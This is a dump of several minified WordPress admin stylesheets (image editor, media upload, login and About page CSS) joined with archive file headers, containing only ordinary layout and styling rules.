.imgedit-rotate.button[aria-expanded=true]:after{content:'\f142'}.imgedit-menu .button.disabled{color:#a7aaad;border-color:#dcdcde;background:#f6f7f7;box-shadow:none;text-shadow:0 1px 0 #fff;cursor:default;transform:none}.imgedit-crop:before{content:"\f165";content:"\f165"/''}.imgedit-scale:before{content:"\f211";content:"\f211"/''}.imgedit-rotate:before{content:"\f167";content:"\f167"/''}.imgedit-undo:before{content:"\f171";content:"\f171"/''}.imgedit-redo:before{content:"\f172";content:"\f172"/''}.imgedit-crop-wrap{position:relative}.imgedit-crop-wrap img{background-image:linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:0 0,10px 10px;background-size:20px 20px}.imgedit-crop-wrap{padding:20px;background-image:linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:0 0,10px 10px;background-size:20px 20px}.imgedit-crop{margin:0 8px 0 0}.imgedit-rotate{margin:0 8px 0 3px}.imgedit-undo{margin:0 3px}.imgedit-redo{margin:0 8px 0 3px}.imgedit-thumbnail-preview-group{display:flex;flex-wrap:wrap;column-gap:10px}.imgedit-thumbnail-preview{margin:10px 8px 0 0}.imgedit-thumbnail-preview-caption{display:block}#poststuff .imgedit-group-top h2{display:inline-block;margin:0;padding:0;font-size:14px;line-height:1.4}#poststuff .imgedit-group-top .button-link{text-decoration:none;color:#1d2327}.imgedit-applyto .imgedit-label{display:block;padding:.5em 0 0}.imgedit-help,.imgedit-popup-menu{display:none;padding-bottom:8px}.imgedit-panel-tools>.imgedit-menu{display:flex;column-gap:4px;align-items:flex-start;flex-wrap:wrap}.imgedit-popup-menu{width:calc(100% - 20px);position:absolute;background:#fff;padding:10px;box-shadow:0 3px 6px rgba(0,0,0,.3)}.image-editor .imgedit-menu .imgedit-popup-menu button{display:block;margin:2px 0;width:100%;white-space:break-spaces;line-height:1.5;padding-top:3px;padding-bottom:2px}.imgedit-rotate-menu-container{position:relative}.imgedit-help.imgedit-restore{padding-bottom:0}.image-editor .imgedit-settings .imgedit-help-toggle,.image-editor .imgedit-settings .imgedit-help-toggle:active,.image-editor .imgedit-settings .imgedit-help-toggle:hover{border:1px solid transparent;margin:-1px 0 0 -1px;padding:0;background:0 0;color:var(--wp-admin-theme-color);font-size:20px;line-height:1;cursor:pointer;box-sizing:content-box;box-shadow:none}.image-editor .imgedit-settings .imgedit-help-toggle:focus{color:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.form-table td.imgedit-response{padding:0}.imgedit-submit-btn{margin-left:20px}.imgedit-wrap .nowrap{white-space:nowrap;font-size:12px;line-height:inherit}span.imgedit-scale-warn{display:flex;align-items:center;margin:4px;gap:4px;color:#b32d2e;font-style:normal;visibility:hidden;vertical-align:middle}.imgedit-save-target{margin:8px 0}.imgedit-save-target legend{font-weight:600}.imgedit-group{margin-bottom:20px}.image-editor .imgedit-original-dimensions{display:inline-block}.image-editor .imgedit-crop-ratio input[type=number],.image-editor .imgedit-crop-ratio input[type=text],.image-editor .imgedit-crop-sel input[type=number],.image-editor .imgedit-crop-sel input[type=text],.image-editor .imgedit-scale-controls input[type=number],.image-editor .imgedit-scale-controls input[type=text]{width:80px;font-size:14px;padding:0 8px}.imgedit-separator{display:inline-block;width:7px;text-align:center;font-size:13px;color:#3c434a}.image-editor .imgedit-scale-button-wrapper{margin-top:.3077em;display:block}.image-editor .imgedit-scale-controls .button{margin-bottom:0}audio,video{display:inline-block;max-width:100%}.wp-core-ui .mejs-container{width:100%;max-width:100%}.wp-core-ui .mejs-container *{box-sizing:border-box}.wp-core-ui .mejs-time{box-sizing:content-box}@media print,(min-resolution:120dpi){.imgedit-wait:before{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){.edit-attachment-frame input,.edit-attachment-frame textarea{line-height:1.5}.wp_attachment_details label[for=content]{font-size:14px;line-height:1.5}.wp_attachment_details textarea{line-height:1.5}.wp_attachment_details #attachment_alt{height:3.375em}.media-upload-form .media-item .error,.media-upload-form .media-item.error{font-size:13px;line-height:1.5}.media-upload-form .media-item.error{padding:1px 10px}.media-upload-form .media-item .error{padding:10px 0 10px 12px}.image-editor .imgedit-crop-ratio input[type=text],.image-editor .imgedit-crop-sel input[type=text],.image-editor .imgedit-scale input[type=text]{font-size:16px;padding:6px 10px}.wp_attachment_holder .imgedit-wrap .image-editor,.wp_attachment_holder .imgedit-wrap .imgedit-panel-content{float:none;width:auto;max-width:none;padding-bottom:16px}.copy-to-clipboard-container .success{font-size:14px}.imgedit-crop-wrap img{width:100%}.media-modal .imgedit-wrap .image-editor,.media-modal .imgedit-wrap .imgedit-panel-content{position:initial!important}.media-modal .imgedit-wrap .image-editor{box-sizing:border-box;width:100%!important}.image-editor .imgedit-scale-button-wrapper{display:inline-block}}@media only screen and (max-width:600px){.media-item-wrapper{grid-template-columns:1fr}}@media only screen and (max-width:1120px){#wp-media-grid .wp-filter .attachment-filters{max-width:100%}}@media only screen and (max-width:1000px){.wp-filter p.search-box{float:none;width:100%;display:flex;flex-wrap:nowrap;column-gap:0}.wp-filter p.search-box #media-search-input{width:100%}}@media only screen and (max-width:782px){.media-frame.mode-select .attachments-browser.fixed .media-toolbar{top:46px;right:10px}.media-frame.mode-grid .media-toolbar select{min-height:40px;padding:0 24px 0 12px}.media-frame.mode-grid .media-toolbar input[type=search]{min-height:40px;padding:0 12px}.wp-filter p.search-box{margin-bottom:0}}@media only screen and (max-width:600px){.media-frame.mode-select .attachments-browser.fixed .media-toolbar{top:0}}@media only screen and (max-width:480px){.edit-attachment-frame .media-frame-title{right:110px}.edit-attachment-frame .edit-media-header .left,.edit-attachment-frame .edit-media-header .right,.upload-php .media-modal-close{width:40px;height:40px}.edit-attachment-frame .edit-media-header .left:before,.edit-attachment-frame .edit-media-header .right:before{line-height:40px!important}.edit-attachment-frame .edit-media-header .left{right:82px}.edit-attachment-frame .edit-media-header .right{right:41px}.edit-attachment-frame .media-frame-content{top:40px}.edit-attachment-frame .attachment-media-view{float:none;height:auto;width:100%}.edit-attachment-frame .attachment-info{height:auto;width:100%}}@media only screen and (max-width:640px),screen and (max-height:400px){.upload-php .mode-grid .media-sidebar{max-width:100%}}@media only screen and (max-width:375px){.media-item .attachment-tools{align-items:baseline}.media-item .edit-attachment.copy-to-clipboard-container{flex-direction:column}.copy-to-clipboard-container .success{line-height:normal;margin-top:10px}} css/deprecated-media.min.css 0000644 00000012565 15233246127 0012023 0 ustar 00 /*! This file is auto-generated */ div#media-upload-header{margin:0;padding:5px 5px 0;font-weight:600;position:relative;border-bottom:1px solid #dcdcde;background:#f6f7f7}#sidemenu{overflow:hidden;float:none;position:relative;left:0;bottom:-1px;margin:0 5px;padding-left:10px;list-style:none;font-size:12px;font-weight:400}#sidemenu a{padding:0 7px;display:block;float:left;line-height:28px;border-top:1px solid #f6f7f7;border-bottom:1px solid #dcdcde;background-color:#f6f7f7;text-decoration:none;transition:none}#sidemenu li{display:inline;line-height:200%;list-style:none;text-align:center;white-space:nowrap;margin:0;padding:0}#sidemenu a.current{font-weight:400;padding-left:6px;padding-right:6px;border:1px solid #dcdcde;border-bottom-color:#f0f0f1;background-color:#f0f0f1;color:#000}#media-upload:after{content:"";display:table;clear:both}#media-upload .slidetoggle{border-top-color:#dcdcde}#media-upload input[type=radio]{padding:0}.media-upload-form label.form-help,td.help{color:#646970}form{margin:1em}#search-filter{text-align:right}th{position:relative}.media-upload-form label.form-help,td.help{font-family:sans-serif;font-style:italic;font-weight:400}.media-upload-form p.help{margin:0;padding:0}.media-upload-form fieldset{width:100%;border:none;text-align:justify;margin:0 0 1em;padding:0}.image-align-none-label{background:url(../images/align-none.png) no-repeat center left}.image-align-left-label{background:url(../images/align-left.png) no-repeat center left}.image-align-center-label{background:url(../images/align-center.png) no-repeat center left}.image-align-right-label{background:url(../images/align-right.png) no-repeat center left}tr.image-size td{width:460px}tr.image-size div.image-size-item{margin:0 0 5px}#gallery-form .progress,#library-form .progress,.describe.startclosed,.describe.startopen,.insert-gallery{display:none}.media-item .thumbnail{max-width:128px;max-height:128px}thead.media-item-info tr{background-color:transparent}.form-table thead.media-item-info{border:8px solid #fff}abbr.required,span.required{text-decoration:none;border:none}.describe label{display:inline}.describe td.error{padding:2px 8px}.describe td.A1{width:132px}.describe input[type=text],.describe textarea{width:460px;border-width:1px;border-style:solid}#media-upload p.ml-submit{padding:1em 0}#media-upload label.help,#media-upload p.help{font-family:sans-serif;font-style:italic;font-weight:400}#media-upload .ui-sortable .media-item{cursor:move}#media-upload tr.image-size{margin-bottom:1em;height:3em}#media-upload #filter{width:623px}#media-upload #filter .subsubsub{margin:8px 0}#media-upload .tablenav-pages .current,#media-upload .tablenav-pages a{display:inline-block;padding:4px 5px 6px;font-size:16px;line-height:1;text-align:center;text-decoration:none}#media-upload .tablenav-pages a{min-width:17px;border:1px solid #c3c4c7;background:#f6f7f7}#filter .tablenav select{border-style:solid;border-width:1px;padding:2px;vertical-align:top;width:auto}#media-upload .del-attachment{display:none;margin:5px 0}.menu_order{float:right;font-size:11px;margin:8px 10px 0}.menu_order_input{border:1px solid #dcdcde;font-size:10px;padding:1px;width:23px}.ui-sortable-helper{background-color:#fff;border:1px solid #a7aaad;opacity:.6}#media-upload th.order-head{width:20%;text-align:center}#media-upload th.actions-head{width:25%;text-align:center}#media-upload a.wp-post-thumbnail{margin:0 20px}#media-upload .widefat{border-style:solid solid none}.sorthelper{height:37px;width:623px;display:block}#gallery-settings th.label{width:160px}#gallery-settings #basic th.label{padding:5px 5px 5px 0}#gallery-settings .title{clear:both;padding:0 0 3px;font-size:1.6em;border-bottom:1px solid #dcdcde}h3.media-title{font-size:1.6em}h4.media-sub-title{border-bottom:1px solid #dcdcde;font-size:1.3em;margin:12px;padding:0 0 3px}#gallery-settings .title,h3.media-title,h4.media-sub-title{font-family:Georgia,"Times New Roman",Times,serif;font-weight:400;color:#50575e}#gallery-settings .describe td{vertical-align:middle;height:3em}#gallery-settings .describe th.label{padding-top:.5em;text-align:left}#gallery-settings .describe{padding:5px;width:100%;clear:both;cursor:default;background:#fff}#gallery-settings .describe select{width:15em}#gallery-settings .describe select option,#gallery-settings .describe td{padding:0}#gallery-settings label,#gallery-settings legend{font-size:13px;color:#3c434a;margin-right:15px}#gallery-settings .align .field label{margin:0 1em 0 3px}#gallery-settings p.ml-submit{border-top:1px solid #dcdcde}#gallery-settings select#columns{width:6em}#sort-buttons{font-size:.8em;margin:3px 25px -8px 0;text-align:right;max-width:625px}#sort-buttons a{text-decoration:none}#sort-buttons #asc,#sort-buttons #showall{padding-left:5px}#sort-buttons span{margin-right:25px}p.media-types{margin:0;padding:1em}p.media-types-required-info{padding-top:0}tr.not-image{display:none}table.not-image tr.not-image{display:table-row}table.not-image tr.image-only{display:none}@media print,(min-resolution:120dpi){.image-align-none-label{background-image:url(../images/align-none-2x.png?ver=20120916);background-size:21px 15px}.image-align-left-label{background-image:url(../images/align-left-2x.png?ver=20120916);background-size:22px 15px}.image-align-center-label{background-image:url(../images/align-center-2x.png?ver=20120916);background-size:21px 15px}.image-align-right-label{background-image:url(../images/align-right-2x.png?ver=20120916);background-size:22px 15px}} css/login-rtl.min.css 0000644 00000014762 15233246127 0010556 0 ustar 00 /*! This file is auto-generated */ body,html{height:100%;margin:0;padding:0}body{background:#f0f0f1;min-width:0;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.4}a{color:var(--wp-admin-theme-color-darker-10);transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}a{outline:0}a:active,a:hover{color:var(--wp-admin-theme-color-darker-20)}a:focus{color:#043959;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}p{line-height:1.5}.login .message,.login .notice,.login .success{border-right:4px solid #3858e9;padding:8px 12px;margin-top:0;margin-right:0;margin-bottom:20px;background-color:#fff;word-wrap:break-word}.login .message p,.login .notice p,.login .success p{font-size:13px;line-height:1.54;margin:.5em 0}.login .success{border-right-color:#4ab866;background-color:#eff9f1}.login .notice-error{border-right-color:#cc1818;background-color:#fcf0f0}.login .login-error-list{list-style:none}.login .login-error-list li+li{margin-top:4px}#loginform p.submit,.login-action-lostpassword p.submit{border:none;margin:-10px 0 20px}.login *{margin:0;padding:0}.login .input::-ms-clear{display:none}.login .pw-weak{margin-bottom:15px}.login .button.wp-hide-pw{background:0 0;border:1px solid transparent;box-shadow:none;font-size:14px;line-height:normal;width:2.5rem;height:2.5rem;min-width:40px;min-height:40px;margin:0;padding:5px 9px;position:absolute;right:0;top:0}.login .button.wp-hide-pw:hover{background:0 0}.login .button.wp-hide-pw:focus{background:0 0;border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.login .button.wp-hide-pw:active{background:0 0;box-shadow:none;transform:none}.login .button.wp-hide-pw .dashicons{width:1.25rem;height:1.25rem}.login .wp-pwd{position:relative}.no-js .hide-if-no-js{display:none}.login form{margin:24px 0;padding:26px 24px;font-weight:400;overflow:hidden;background:#fff;border:1px solid #c3c4c7;box-shadow:0 1px 3px rgba(0,0,0,.04)}.login form.shake{animation:shake .2s cubic-bezier(.19,.49,.38,.79) both;animation-iteration-count:3;transform:translateX(0)}@keyframes shake{25%{transform:translateX(20px)}75%{transform:translateX(-20px)}100%{transform:translateX(0)}}@media (prefers-reduced-motion:reduce){.login form.shake{animation:none;transform:none}}.login-action-confirm_admin_email #login{width:60vw;max-width:650px;margin-top:-2vh}@media screen and (max-width:782px){.login-action-confirm_admin_email #login{box-sizing:border-box;margin-top:0;padding-right:4vw;padding-left:4vw;width:100vw}}.login form .forgetmenot{font-weight:400;float:right;margin-bottom:0}.login .button-primary{float:left}.login .reset-pass-submit{display:flex;flex-flow:row wrap;justify-content:space-between}.login .reset-pass-submit .button{display:inline-block;float:none;margin-bottom:6px}.login .admin-email-confirm-form .submit{text-align:center}.admin-email__later{text-align:right}.login form p.admin-email__details{margin:1.1em 0}.login .admin-email__heading{border-bottom:1px #f0f0f1 solid;color:#50575e;font-weight:400;padding-bottom:.5em;text-align:right}.admin-email__actions div{padding-top:1.5em}.login .admin-email__actions .button-primary{float:none;margin-right:.25em;margin-left:.25em}#login form p{margin-bottom:0}#login #reg_passmail,#login form .indicator-hint{margin-bottom:16px}#login form p.submit{margin:0;padding:0}.login label{font-size:14px;line-height:1.5;display:inline-block;margin-bottom:3px}.login .forgetmenot label,.login .pw-weak label{line-height:1.5;vertical-align:baseline}.login h1{text-align:center}.login h1 a{background-image:url(../images/w-logo-gray.png?ver=20260303);background-image:none,url(../images/wordpress-logo-gray.svg?ver=20260303);background-size:84px;background-position:center top;background-repeat:no-repeat;color:#3c434a;height:84px;font-size:20px;font-weight:400;line-height:1.3;margin:0 auto 24px;padding:0;text-decoration:none;width:84px;text-indent:-9999px;outline:0;overflow:hidden;display:block}#login{width:320px;padding:5% 0 0;margin:auto}.login #backtoblog,.login #nav{font-size:13px;padding:0 24px}.login #nav{margin:24px 0 0}#backtoblog{margin:16px 0;word-wrap:break-word}.login #backtoblog a,.login #nav a{text-decoration:none;color:#50575e}.login #backtoblog a:hover,.login #nav a:hover,.login h1 a:hover{color:var(--wp-admin-theme-color-darker-20)}.login #backtoblog a:focus,.login #nav a:focus,.login h1 a:focus{color:#043959}.login .privacy-policy-page-link{text-align:center;width:100%;margin:3em 0 2em}.login form .input,.login input[type=password],.login input[type=text]{font-size:24px;line-height:1.33333333;width:100%;border-width:.0625rem;padding:.1875rem .3125rem;margin:0 0 16px 6px;min-height:40px;max-height:none}.login input.password-input{font-family:Consolas,Monaco,monospace}.js.login input.password-input{padding-right:2.5rem}.js.login-action-resetpass input[type=password],.js.login-action-resetpass input[type=text],.js.login-action-rp input[type=password],.js.login-action-rp input[type=text]{margin-bottom:0}.login #pass-strength-result{font-weight:600;margin:-1px 0 16px 5px;padding:6px 5px;text-align:center;width:100%}body.interim-login{height:auto}.interim-login #login{padding:0;margin:5px auto 20px}.interim-login.login h1 a{width:auto}.interim-login #login_error,.interim-login.login .message{margin:0 0 16px}.interim-login.login form{margin:0}.screen-reader-text,.screen-reader-text span{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important;word-break:normal!important}input::-ms-reveal{display:none}#language-switcher{padding:0;overflow:visible;background:0 0;border:none;box-shadow:none}#language-switcher select{margin-left:.25em}.language-switcher{margin:0 auto;padding:0 0 24px;text-align:center}.language-switcher label{margin-left:.25em}.language-switcher label .dashicons{width:auto;height:auto}.login .language-switcher .button{margin-bottom:0}@media screen and (max-height:550px){#login{padding:20px 0}#language-switcher{margin-top:0}}@media screen and (max-width:782px){.interim-login input[type=checkbox]{width:1rem;height:1rem}.interim-login input[type=checkbox]:checked:before{width:1.3125rem;height:1.3125rem;margin:-.1875rem -.25rem 0 0}#language-switcher label,#language-switcher select{margin-left:0}}@media screen and (max-width:400px){.login .language-switcher .button{display:block;margin:5px auto 0}} css/about-rtl.min.css 0000644 00000052570 15233246127 0010557 0 ustar 00 /*! This file is auto-generated */ .about__container{--background:#ebe8e5;--subtle-background:#ebe8e5;--text:#1e1e1e;--text-light:#fff;--accent-1:#3858e9;--accent-2:#183ad6;--accent-3:#ececec;--accent-gradient:linear-gradient(-90deg, #000000 4.7%, var(--accent-1) 83.84%);--nav-background:#fff;--nav-border:transparent;--nav-color:var(--text);--nav-current:var(--accent-1);--border-radius:0.5rem;--gap:2rem}.about-php,.contribute-php,.credits-php,.freedoms-php,.privacy-php{background:#fff}.about-php #wpcontent,.contribute-php #wpcontent,.credits-php #wpcontent,.freedoms-php #wpcontent,.privacy-php #wpcontent{background:#fff;padding:0 24px}@media screen and (max-width:782px){.about-php.auto-fold #wpcontent,.contribute-php.auto-fold #wpcontent,.credits-php.auto-fold #wpcontent,.freedoms-php.auto-fold #wpcontent,.privacy-php.auto-fold #wpcontent{padding-right:24px}}.about__container{max-width:1000px;margin:24px auto;clear:both}.about__container .alignleft{float:right}.about__container .alignright{float:left}.about__container .aligncenter{text-align:center}.about__container .is-vertically-aligned-top{align-self:start}.about__container .is-vertically-aligned-center{align-self:center}.about__container .is-vertically-aligned-bottom{align-self:end}.about__section{background:0 0;clear:both}.about__container .has-accent-background-color{color:var(--text-light);background-color:var(--accent-2)}.about__container .has-transparent-background-color{background-color:transparent}.about__container .has-accent-color{color:var(--accent-2)}.about__container .has-border{border:3px solid currentColor}.about__container .has-subtle-background-color{background-color:var(--subtle-background);border-radius:var(--border-radius)}.about__container .has-background-image{background-size:contain;background-repeat:no-repeat;background-position:center}.about__section{margin:0}.about__section .column:not(.is-edge-to-edge){padding:var(--gap)}.about__section .column.is-left-padding-zero{padding-right:0}.about__section .column.is-right-padding-zero{padding-left:0}.about__section+.about__section .is-section-header{padding-bottom:var(--gap)}.about__section .column.has-border:not(.is-edge-to-edge),.about__section .column[class*=background-color]:not(.is-edge-to-edge),.about__section:where([class*=background-color]) .column:not(.is-edge-to-edge){padding-top:var(--gap);padding-bottom:var(--gap)}.about__section .column p:first-of-type{margin-top:0}.about__section .column p:last-of-type{margin-bottom:0}.about__section .has-text-columns{columns:2;column-gap:calc(var(--gap) * 2)}.about__section .is-section-header{margin-bottom:0;padding:var(--gap) var(--gap) 0}.about__section .is-section-header p:last-child{margin-bottom:0}.about__section .is-section-header:first-child:last-child{padding:0}.about__section.is-feature{padding:var(--gap)}.about__section.is-feature p{margin:0}.about__section.is-feature p+p{margin-top:calc(var(--gap)/ 2)}.about__section.has-1-column{margin-right:auto;margin-left:auto;max-width:36em}.about__section.has-2-columns,.about__section.has-3-columns,.about__section.has-4-columns,.about__section.has-overlap-style{display:grid}.about__section.has-gutters{gap:var(--gap);margin-bottom:var(--gap)}.about__section.has-2-columns{grid-template-columns:1fr 1fr}.about__section.has-2-columns.is-wider-right{grid-template-columns:2fr 3fr}.about__section.has-2-columns.is-wider-left{grid-template-columns:3fr 2fr}.about__section .is-section-header{grid-column-start:1;grid-column-end:-1}.about__section.has-3-columns{grid-template-columns:repeat(3,1fr)}.about__section.has-4-columns{grid-template-columns:repeat(4,1fr)}.about__section.has-overlap-style{grid-template-columns:repeat(7,1fr)}.about__section.has-overlap-style .column{grid-row-start:1}.about__section.has-overlap-style .column:nth-of-type(odd){grid-column-start:2;grid-column-end:span 3}.about__section.has-overlap-style .column:nth-of-type(2n){grid-column-start:4;grid-column-end:span 3}.about__section.has-overlap-style .column.is-top-layer{z-index:1}@media screen and (max-width:782px){.about__section.has-2-columns.is-wider-left,.about__section.has-2-columns.is-wider-right,.about__section.has-3-columns{display:block;margin-bottom:calc(var(--gap)/ 2)}.about__section .column:not(.is-edge-to-edge){padding-top:var(--gap);padding-bottom:var(--gap)}.about__section.has-2-columns.has-gutters.is-wider-left,.about__section.has-2-columns.has-gutters.is-wider-right,.about__section.has-3-columns.has-gutters{margin-bottom:calc(var(--gap) * 2)}.about__section.has-2-columns.has-gutters .column,.about__section.has-3-columns.has-gutters .column{margin-bottom:var(--gap)}.about__section.has-2-columns.has-gutters .column:last-child,.about__section.has-3-columns.has-gutters .column:last-child{margin-bottom:0}.about__section.has-3-columns .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns{grid-template-columns:repeat(2,1fr)}.about__section.has-overlap-style{grid-template-columns:1fr}.about__section.has-overlap-style .column.column{grid-column-start:1;grid-column-end:2;grid-row-start:1;grid-row-end:2}}@media screen and (max-width:600px){.about__section.has-2-columns{display:block;margin-bottom:var(--gap)}.about__section.has-2-columns:not(.has-gutters) .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}.about__section.has-2-columns.has-gutters{margin-bottom:calc(var(--gap) * 2)}.about__section.has-2-columns.has-gutters .column{margin-bottom:var(--gap)}.about__section.has-2-columns.has-gutters .column:last-child{margin-bottom:0}.about__section .column.is-left-padding-zero{padding-left:0}.about__section .column.is-right-padding-zero{padding-right:0}}@media screen and (max-width:480px){.about__section .is-section-header,.about__section.is-feature .column{padding:0}.about__section.has-4-columns{display:block;padding-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns.has-gutters .column{margin-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns.has-gutters .column:last-child{margin-bottom:0}.about__section.has-4-columns .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}}.about__container{line-height:1.4;color:var(--text)}.about__container h1{padding:0}.about__container h1,.about__container h2,.about__container h3.is-larger-heading{margin-top:0;margin-bottom:calc(.5 * var(--gap));font-size:2rem;font-weight:700;line-height:1.16}.about__container h1.is-smaller-heading,.about__container h2.is-smaller-heading,.about__container h3{margin-top:0;margin-bottom:calc(.5 * var(--gap));font-size:1.625rem;font-weight:700;line-height:1.4}.about__container h3.is-smaller-heading,.about__container h4{margin-top:0;font-size:1.125rem;font-weight:600;line-height:1.6}.about__container h1,.about__container h2,.about__container h3,.about__container h4{text-wrap:pretty;color:inherit}.about__container :is(h1,h2,h3,h4,.about__header-text):lang(en){text-wrap:balance}.about__container p{text-wrap:pretty}.about__container p{font-size:inherit;line-height:inherit}.about__container p.is-subheading{margin-top:0;margin-bottom:1rem;font-size:1.5rem;font-weight:300;line-height:160%}.about__section a{color:var(--accent-1);text-decoration:underline}.about__section a:active,.about__section a:focus,.about__section a:hover{color:var(--accent-1);text-decoration:none}.wp-credits-list a{text-decoration:none}.wp-credits-list a:active,.wp-credits-list a:focus,.wp-credits-list a:hover{text-decoration:underline}.about__section a.button.button-hero{padding-top:1.1875rem;padding-bottom:1.1875rem;font-size:1.5rem;line-height:1.4;white-space:normal;text-wrap:pretty}.about__container ul{list-style:disc;margin-right:calc(var(--gap)/ 2)}.about__container li{margin-bottom:.5rem}.about__container img{margin:0;max-width:100%;vertical-align:middle}.about__container .about__image{margin:0}.about__container .about__image img{max-width:100%;width:100%;height:auto;border-radius:var(--border-radius)}.about__container .about__image figcaption{margin-top:.5em;text-align:center}.about__container .about__image .wp-video{margin-right:auto;margin-left:auto}.about__container .about__image svg{vertical-align:middle}.about__container .about__image+h3{margin-top:calc(.75 * var(--gap))}.about__container hr{margin:calc(var(--gap)/ 2) var(--gap);height:0;border:none;border-top:4px solid var(--accent-3)}.about__container hr.is-small{margin-top:0;margin-bottom:0}.about__container hr.is-large{margin:var(--gap) auto}.about__container hr.is-invisible{border:none}.about__container .notice,.about__container div.error,.about__container div.updated{display:none!important}.about__container code{font-size:inherit}.about__section{font-size:1.125rem;line-height:1.55}.about__section.is-feature{font-size:1.6em}.about__section.has-3-columns,.about__section.has-4-columns{font-size:1rem}@media screen and (max-width:480px){.about__section.is-feature{font-size:1.4em}.about__container h1,.about__container h2,.about__container h3.is-larger-heading{font-size:2em}}.about__header{position:relative;display:flex;flex-direction:column;align-items:flex-start;justify-content:flex-end;box-sizing:border-box;padding:calc(var(--gap) * 1.5);padding-left:26rem;min-height:clamp(10rem,25vw,18.75rem);border-radius:var(--border-radius);background-image:url("../images/about-header-default.webp?ver=20260514");background-repeat:no-repeat;background-position:left center;background-size:cover;background-color:var(--background);color:var(--text-light)}.credits-php .about__header{background-image:url("../images/about-header-credits.webp?ver=20260514")}.freedoms-php .about__header{background-image:url("../images/about-header-freedoms.webp?ver=20260514")}.privacy-php .about__header{background-image:url("../images/about-header-privacy.webp?ver=20260514")}.contribute-php .about__header{background-image:url("../images/about-header-get-involved.webp?ver=20260514")}[dir=rtl] .about__header{background-image:url("../images/about-header-default-rtl.webp?ver=20260514")}[dir=rtl] .credits-php .about__header{background-image:url("../images/about-header-credits-rtl.webp?ver=20260514")}[dir=rtl] .freedoms-php .about__header{background-image:url("../images/about-header-freedoms-rtl.webp?ver=20260514")}[dir=rtl] .privacy-php .about__header{background-image:url("../images/about-header-privacy-rtl.webp?ver=20260514")}[dir=rtl] .contribute-php .about__header{background-image:url("../images/about-header-get-involved-rtl.webp?ver=20260514")}.about__header-image{margin:0 0 calc(var(--gap) * 1.5)}.about__header-title{box-sizing:border-box;margin:0;padding:0}.about__header-title h1{margin:0;padding:0;font-size:clamp(2rem, 20vw - 9rem, 4rem);line-height:1;font-weight:600;color:var(--text)}.about-php .about__header-title h1,.contribute-php .about__header-title h1,.credits-php .about__header-title h1,.freedoms-php .about__header-title h1,.privacy-php .about__header-title h1{font-size:clamp(2rem, 20vw - 9rem, 4rem)}.about__header-text{box-sizing:border-box;max-width:26em;margin:1rem 0 0;padding:0;font-size:1.6rem;line-height:1.15;color:var(--text)}.about__header-navigation{position:relative;z-index:1;display:flex;flex-wrap:wrap;justify-content:space-between;padding-top:0;margin-bottom:var(--gap);background:var(--nav-background);color:var(--nav-color);border-bottom:3px solid var(--nav-border)}.about__header-navigation::after{display:none}.about__header-navigation .nav-tab{margin-right:0;padding:calc(var(--gap) * .75) var(--gap);float:none;font-size:1.4em;line-height:1;border-width:0 0 3px;border-style:solid;border-color:transparent;background:0 0;color:inherit}.about__header-navigation .nav-tab:active,.about__header-navigation .nav-tab:hover{background-color:var(--nav-current);color:var(--text-light);border-radius:var(--border-radius)}.about__header-navigation .nav-tab-active{margin-bottom:-3px;color:var(--nav-current);border-width:0 0 6px;border-color:var(--nav-current)}.about__header-navigation .nav-tab-active:active,.about__header-navigation .nav-tab-active:hover{background-color:var(--nav-current);color:var(--text-light);border-color:var(--nav-current);border-radius:var(--border-radius)}@media screen and (max-width:960px){.about__header{padding-left:21rem}.about-php .about__header-title h1,.contribute-php .about__header-title h1,.credits-php .about__header-title h1,.freedoms-php .about__header-title h1,.privacy-php .about__header-title h1{font-size:clamp(2rem, 20vw - 9rem, 4rem)}.about__header-navigation .nav-tab{padding:calc(var(--gap) * .75) calc(var(--gap) * .5)}}@media screen and (max-width:782px){.about__container .about__header-text{font-size:1.4em}.about__header-container{display:block}.about__header{padding:var(--gap);padding-left:17rem}.about__header-text{margin-top:.5rem}.about__header-navigation .nav-tab{margin-top:0;margin-left:0;font-size:1.2em}}@media screen and (max-width:600px){.about__header{min-height:auto;padding-left:var(--gap)}.about__header-navigation{display:block}.about__header-navigation .nav-tab{display:block;margin-bottom:0;padding:calc(var(--gap)/ 2);border-right-width:6px;border-bottom:none}.about__header-navigation .nav-tab-active{border-bottom:none;border-right-width:6px}}.about__section .wp-people-group-title{margin-bottom:calc(var(--gap) * 2 - 10px);text-align:center}.about__section .wp-people-group{margin:0;display:flex;flex-wrap:wrap}.about__section .wp-person{display:inline-block;vertical-align:top;box-sizing:border-box;margin-bottom:calc(var(--gap) - 10px);width:25%;text-align:center}.about__section .compact .wp-person{height:auto;width:20%}.about__section .wp-person-avatar{display:block;margin:0 auto calc(var(--gap)/ 2);width:140px;height:140px;border-radius:100%;overflow:hidden}.about__section .wp-person .gravatar{width:140px;height:140px;filter:grayscale(100%)}.about__section .compact .wp-person .gravatar,.about__section .compact .wp-person-avatar{width:80px;height:80px}.about__section .wp-person .web{display:block;font-size:1.4em;font-weight:600;padding:10px 10px 0;text-decoration:none}.about__section .wp-person .web:hover{text-decoration:underline}.about__section .compact .wp-person .web{font-size:1.2em}.about__section .wp-person .title{display:block;margin-top:.5em}@media screen and 